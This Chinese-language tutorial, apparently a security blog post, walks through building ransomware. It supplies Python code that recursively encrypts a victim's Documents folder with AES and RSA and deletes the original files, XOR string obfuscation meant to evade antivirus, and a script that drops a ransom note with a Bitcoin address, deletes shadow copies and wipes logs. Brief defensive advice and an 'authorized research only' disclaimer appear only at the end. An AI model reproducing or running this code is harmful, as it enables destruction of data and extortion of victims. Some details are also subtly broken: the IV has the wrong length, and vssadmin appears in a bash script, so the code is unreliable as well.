0x01 勒索软件攻击的技术原理
勒索软件(Ransomware)是一种恶意软件,它通过加密目标系统上的重要文件来实现敲诈勒索,要求受害者支付赎金以换取解密密钥。攻击者通常会结合多种技术手段,包括社会工程学、漏洞利用、特权提升和横向移动,最终完成文件加密与勒索的整个攻击链。
从攻击者的视角来看,勒索软件的核心在于以下几个关键点:
- 初始感染:通过鱼叉式钓鱼邮件、恶意办公文档或水坑攻击,给目标系统注入恶意载荷。
- 权限提升:利用本地提权漏洞或者密码抓取技术,获得更高权限。
- 横向移动:扫描内网,发现更多存储有价值文件的设备。
- 文件加密:实现高效且隐蔽的加密算法,通常包括 AES 对称加密与 RSA 非对称加密的结合。
- 勒索通知:向受害者展示勒索文件(如 README.txt 或弹窗),同时保证支付路径(如 Tor 或加密货币地址)的隐匿性。
- 痕迹清除:删除日志、禁用备份、清除影子副本等操作,确保难以溯源。
攻击全链条化是现代勒索软件的显著特点,多个阶段的技术相辅相成,使其具备极高的破坏性和隐匿性。接下来,我们将从攻击环境搭建到代码实战,深入分析这类攻击。
---
0x02 环境搭建:模拟一个真实的勒索链
为了复现勒索软件的攻击链,我们需要一个完整的实验环境,包括攻击者与目标系统。以下是一个典型的实验环境构建流程。
实验环境需求
- 攻击者主机:
- Kali Linux 或 Parrot OS
- 工具:Metasploit、Cobalt Strike、Sliver
- 编程环境:Python3、GoLang
- 目标系统:
- Windows 10 虚拟机(开启 SMB、RDP 等常见服务)
- 文件共享目录,存放敏感文件
- 安装 Office、Adobe Reader 等常见软件,模拟真实办公环境
- 网络拓扑:
- 使用 VMware 或 VirtualBox 创建 NAT 网络,攻击者与目标机在同一子网中。
- 可选:搭建一台 Windows Server 作为域控制器,进一步测试横向移动技巧。
部署步骤
- 目标机准备:
- 关闭 Windows Defender 和防火墙(用于实验测试,请勿应用于生产环境)。
- 启用 RDP 和文件共享功能。
- 配置一些敏感文件(如 Excel、Word 文档)用于加密测试。
- 攻击者主机准备:
- 安装 Cobalt Strike 并配置 Team Server。
- 准备 Python 和 Bash 脚本,用于后续定制化勒索软件开发和免杀测试。
- 辅助工具:
- 安装 Wireshark 或 tcpdump,用于观察网络流量。
- 准备模拟用户行为的工具,如自动化点击工具,测试社会工程学攻击的有效性。
通过上述准备,一个可供实验的勒索软件攻击链环境已经搭建完成。接下来,我们进入实战部分,开发并测试一个勒索软件样本。
---
0x03 核心实现:勒索软件的代码设计
为了模拟勒索软件的攻击过程,我们从文件加密功能开始,并结合网络传输和隐匿性设计。
核心代码:文件加密逻辑
以下是一个 Python 脚本,用于实现目标文件的递归加密。你会发现,AES 和 RSA 的组合让文件加密既高效又难以破解。
<pre><code class="language-python">from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import serialization, hashes import os
生成RSA密钥对 (模拟攻击者)
def generate_rsa_keys(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048 ) public_key = private_key.public_key() return private_key, public_key

文件加密函数
def encrypt_file(file_path, aes_key, public_key): with open(file_path, 'rb') as f: plaintext = f.read()
使用AES加密文件内容
cipher = Cipher(algorithms.AES(aes_key), modes.CFB(b'16-byte-IV-0000')) encryptor = cipher.encryptor() encrypted_data = encryptor.update(plaintext) + encryptor.finalize()
使用RSA加密AES密钥
encrypted_key = public_key.encrypt( aes_key, padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) )
保存加密文件
with open(file_path + '.enc', 'wb') as f: f.write(encrypted_key + b'---SEPARATOR---' + encrypted_data)
os.remove(file_path) # 删除原文件
遍历目录,递归加密所有文件
def encrypt_directory(directory, aes_key, public_key): for root, dirs, files in os.walk(directory): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path, aes_key, public_key)
if __name__ == "__main__":
模拟攻击者生成RSA密钥对
private_key, public_key = generate_rsa_keys()
模拟生成AES密钥
aes_key = os.urandom(32)

指定要加密的目标目录
target_directory = "C:\\Users\\Victim\\Documents" encrypt_directory(target_directory, aes_key, public_key)</code></pre>
代码解读
- AES 加密:使用对称加密算法,对大文件进行快速加密。
- RSA 加密:将 AES 密钥加密后附加到文件开头,确保只有攻击者能解密数据。
- 递归遍历:自动定位所有目标文件,无需手动指定路径。
---
0x04 绕过与免杀思路
现代 EDR 和杀毒软件会尝试检测恶意进程的行为特征,以下是常见的绕过手段。
静态免杀
- 代码混淆:使用 PyArmor 或 py2exe 将 Python 脚本打包成二进制文件。
- 字符串加密:将脚本中的关键字符串(如路径、函数名)替换为随机加密字符串,运行时动态解密。
<pre><code class="language-python"># 简单字符串动态解密示例 def decrypt_string(encrypted_string): return ''.join(chr(ord(c) ^ 42) for c in encrypted_string)
encrypted_path = "ObfuscatedPath".encode("utf-8") real_path = decrypt_string(encrypted_path)</code></pre>
动态免杀
- 内存加载:将恶意代码直接加载到内存中运行,避免在磁盘上留下痕迹。
- 模块劫持:通过劫持合法模块的加载顺序,注入恶意功能。
这些技术都是为了规避常见的安全防护机制,使勒索软件更难以被检测或拦截。
---

0x05 痕迹处理与勒索信息投放
攻击完成后,为了最大化影响,勒索软件通常会在系统中留下勒索信息。以下是一个简单的勒索文档生成逻辑。
<pre><code class="language-bash">#!/bin/bash
创建勒索信息文件
MESSAGE="All your files have been encrypted. Send 1 BTC to the following address: 1FfmbHfnpaZjKFvyi1okTjJJusN455paPH" TARGET_DIR="/home/victim/Documents"
echo "$MESSAGE" > "$TARGET_DIR/README.txt"
删除影子副本 (需要管理员权限)
vssadmin delete shadows /all /quiet
清理日志文件
truncate -s 0 /var/log/syslog truncate -s 0 /var/log/auth.log</code></pre>
---
0x06 攻击总结与防御建议
在完整复现了勒索软件攻击链的基础上,我们总结以下关键点:
- 攻击者视角:勒索软件的核心是高效的文件加密与隐匿性,同时注重免杀和横向移动的能力。
- 防御建议:
- 定期备份重要数据,并将备份存储在离线设备中。
- 启用多因子认证,减少攻击面。
- 部署行为分析型 EDR,检测异常加密操作。
这篇文章仅限于授权的安全研究测试,切勿用于非法用途。希望通过这些技术的分享,提高防御者的安全意识,让攻击者无从下手。